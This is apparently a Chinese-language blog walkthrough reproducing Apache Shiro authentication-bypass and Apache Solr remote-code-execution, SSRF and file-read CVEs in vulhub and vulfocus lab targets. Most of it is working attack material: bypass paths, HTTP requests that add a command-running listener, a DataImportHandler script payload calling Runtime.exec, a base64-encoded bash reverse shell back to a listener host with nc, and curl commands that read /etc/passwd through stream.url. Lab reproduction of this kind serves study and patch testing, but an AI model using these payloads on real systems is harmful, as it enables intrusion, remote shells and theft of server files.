• 框架安全-CVE 复现&Apache Shiro&Apache Solr漏洞复现


    服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现

    中间件列表

    中间件及框架列表:

    IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

    常见开发框架

    1、开发框架-PHP-Laravel-Thinkphp

    2、开发框架-Javaweb-St2-Spring

    3、开发框架-Python-django-Flask

    4、开发框架-Javascript-Node.js-JQuery

    5、其他框架-Java-Apache Shiro&Apache Sorl

    常见语言开发框架:

    PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

    JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

    Python:Django Flask Bottle Turbobars Tornado Web2py 等

    Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

    Apache Shiro-组件框架安全

    详解:shiro(java安全框架)

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    暴露的安全问题

    Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞[CVE-2016-4483]

    Apache Shiro < 1.3.2 验证绕过漏洞[CVE-2016-2807]

    Apache Shiro < 1.4.2 cookie oracle padding 漏洞 [CVE-2019-12442]

    Apache Shiro < 1.5.2 验证绕过漏洞 [CVE-2020-1957]

    Apache Shiro < 1.5.3 验证绕过漏洞 [CVE-2020-11989]

    Apahce Shiro < 1.6.0 验证绕过漏洞 [CVE-2020-13933]

    Apahce Shiro < 1.7.1 权限绕过漏洞 [CVE-2020-17523]

    漏洞复现

    Apache Shiro认证绕过漏洞(CVE-2020-1957)

    Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,可执行身份验证、授权、加密和会话管理。

    在 1.5.2 之前的带有 Spring 动态控制器的 Apache Shiro 版本中,攻击者可以使用来构建恶意构建的请求,从而绕过目录身份验证。..;

    影响范围:Apache Shiro < 1.5.3

    靶场:vulhub

    参考:Apache Shiro认证绕过漏洞(CVE-2020-1957)复现

    image-20231101192439122

    开启环境:

    image-20231101192502205

    访问web界面:

    image-20231101192959610

    对管理页面的直接请求是不可访问的,将被重定向到登录页面。/admin/

    image-20231101193234327

    构建恶意请求以绕过身份验证检查并访问管理页面。

    payload:/xxx/..;/admin/

    http://you-ip:8080/xxx/..;/admin/
    
    • 1

    image-20231101193955747

    CVE-2020-11989验证绕过漏洞

    将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

    靶场:vulfocus

    开启环境:

    image-20231101194544417

    访问web界面:

    image-20231101194608571

    Poc:/admin/%20

    影响范围:Apache Shiro < 1.7.1

    环境可能存在问题,没能跳转绕过。可使用github上的项目进行测试。

    项目地址:shiro-cve-2020-17523

    下载完成过后构建即可。具体可参考说明文档。

    CVE_2016_4437 Shiro-550 && CVE-2019-12422 Shiro-721 漏洞复现

    漏洞原理以及复现过程:

    shiro反序列化漏洞Shiro-550/Shiro-721反序列化

    Apache Solr-组件框架安全

    详解:Solr详解

    Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和
    Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全
    文搜索服务器。

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

    披露的安全问题

    远程命令执行 RCE(CVE-2017-12629)

    远程命令执行 XXE(CVE-2017-12629)

    任意文件读取 AND 命令执行(CVE-2019-17558)

    远程命令执行漏洞(CVE-2019-0192)

    远程命令执行漏洞(CVE-2019-0193)

    未授权上传漏洞(CVE-2020-13957)

    Apache Solr SSRF (CVE-2021-27905)

    漏洞复现

    Apache Solr 远程命令执行漏洞(CVE-2017-12629)

    Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

    此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

    环境:vulhub

    参考:CVE-2017-12629-RCE复现

    开启环境:

    image-20231101222834141

    访问web界面:

    image-20231101222819143

    利用:

    首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

    //数据包内容:
    POST /solr/demo/config HTTP/1.1
    Host: 192.168.100.134:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Connection: close
    Content-Length: 161
    
    {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/rumilc.txt"]}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    image-20231101232327085

    然后进行update操作,触发刚才添加的listener:

    //数据包内容:
    POST /solr/demo/update HTTP/1.1
    Host: 192.168.100.134:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Connection: close
    Content-Type: application/json
    Content-Length: 15
    
    [{"id":"test"}]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    image-20231101232347574

    验证:

    docker ps 查看容器id
    docker exec -it 容器id bash
    
    • 1
    • 2

    成功创建

    image-20231101232438036

    可将命令换成反弹shell命令,进行反弹shell,逻辑思路不变,命令需要进行base64编码。

    任意文件读取&&命令执行(CVE-2019-17558)

    Solr 是基于 Apache Lucene(TM) 构建的流行、超快的开源企业搜索平台。

    Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

    靶场:vulfocus

    开启环境:

    image-20231101233449597

    访问web界面:

    image-20231101233656994

    手工复现参考:通过 Velocity 自定义模板的 Apache Solr 远程代码执行

    脚本工具:EXP地址

    脚本一步到位,命令执行:

    python2 solr_rce.py http://192.168.100.134:14226 id
    
    • 1

    image-20231101233813184

    python2 solr_rce.py http://192.168.100.134:14226 whoami
    
    • 1

    image-20231101233907600

    读取/查看文件:

    python2 solr_rce.py http://192.168.100.134:14226 "cat /etc/passwd"
    
    • 1

    image-20231101234511512

    远程命令执行漏洞(CVE-2019-0193)

    Apache Solr < 8.2.0 版本

    Apache Solr 是一个开源的搜索服务器。 Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。 它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。 由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

    靶场:vulhub

    参考:Apache Solr 远程命令执行漏洞(CVE-2019-0193)复现

    image-20231102001304699

    开启环境:

    image-20231102011348963

    访问web界面:

    image-20231102011410713

    刚上来需要进行登录,需要登录之后的状态才可以。

    执行命令:
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
    
    • 1
    • 2

    命令执行成功后,需要等待一会,之后访问即可查看到Apache solr的管理页面,无需登录。

    image-20231102011626162

    接下来,首先打开刚刚创建好的核心,选择Dataimport功能并选择debug模式:

    image-20231102011813500

    填入以下POC:test

    <dataConfig>
      <dataSource type="URLDataSource"/>
      <script><![CDATA[
              function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/rumilc.txt");
              }
      ]]></script>
      <document>
        <entity name="stackoverflow"
                url="https://stackoverflow.com/feeds/tag/solr"
                processor="XPathEntityProcessor"
                forEach="/feed"
                transformer="script:poc" />
      </document>
    </dataConfig>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    点击Execute with this Confuguration执行

    image-20231102011901380

    执行过后,等待一下:

    image-20231102012208751

    验证:

    docker ps
    docker exec -it 容器id bash
    
    • 1
    • 2

    成功创建

    image-20231102012058165

    可将命令换成反弹shell命令,需要进行base64编码,尝试反弹:

    sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
    编码后:
    bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3

    POC:

    
      
      
      
        
      
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    监听端开启监听

    nc -lvvp 8888
    
    • 1

    执行过后,稍等一下:

    image-20231102012636840

    image-20231102012853004

    成功反弹shell:

    image-20231102012606940

    Solr 任意文件读取&& SSRF (CVE-2021-27905)

    Apache Solr 是一个开源搜索服务器。该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。当 Apache Solr 不启用身份验证时,攻击者可以直接构建请求以启用特定配置,并最终导致 SSRF 或任意文件读取。

    靶场:vulhub

    参考:Apache Solr RemoteStreaming 任意文件读取和 SSRF

    开启环境:

    image-20231102004831363

    访问web界面:

    image-20231102004915771

    利用:

    //首先,访问提取数据库名称:
    http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
    
    • 1
    • 2

    image-20231102004945140

    发送如下请求,修改数据库配置启用:demo RemoteStreaming

    //数据包如下:
    POST /solr/demo/config HTTP/1.1
    Host: 192.168.100.134:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/json
    Content-Length: 80
    
    {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    发送数据包:

    image-20231102010042883

    然后通过以下方式读取任意文件:stream.url

    //curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump param=ContentStreams&stream.url=file:///etc/passwd'
    
    curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd"
    
    • 1
    • 2
    • 3

    成功读取:

    image-20231102010302668

    image-20231102010217678

    查看组信息:

    curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/group"
    
    • 1

    image-20231102010425588


    其他开发框架安全问题以及漏洞复现可参考:
    框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现
    框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现

  • 相关阅读:
    浅谈虚拟地址转换成物理地址(值得收藏)
    docker开机自启里面的nginx
    Python当中的repeat()函数和repeat_interleave()函数剖析和对比
    Antd按钮点击完返回未点样式
    elasticsearch 其他优化
    vector底层实现及应用注意事项
    ubuntu 18.04换内核后找不到 /dev/ttyUSB0问题
    Java之SpringCloud Alibaba【九】【Spring Cloud微服务Skywalking】
    nginx服务升级
    Java设计模式(一)—设计模式概述
  • 原文地址:https://blog.csdn.net/rumil/article/details/134175254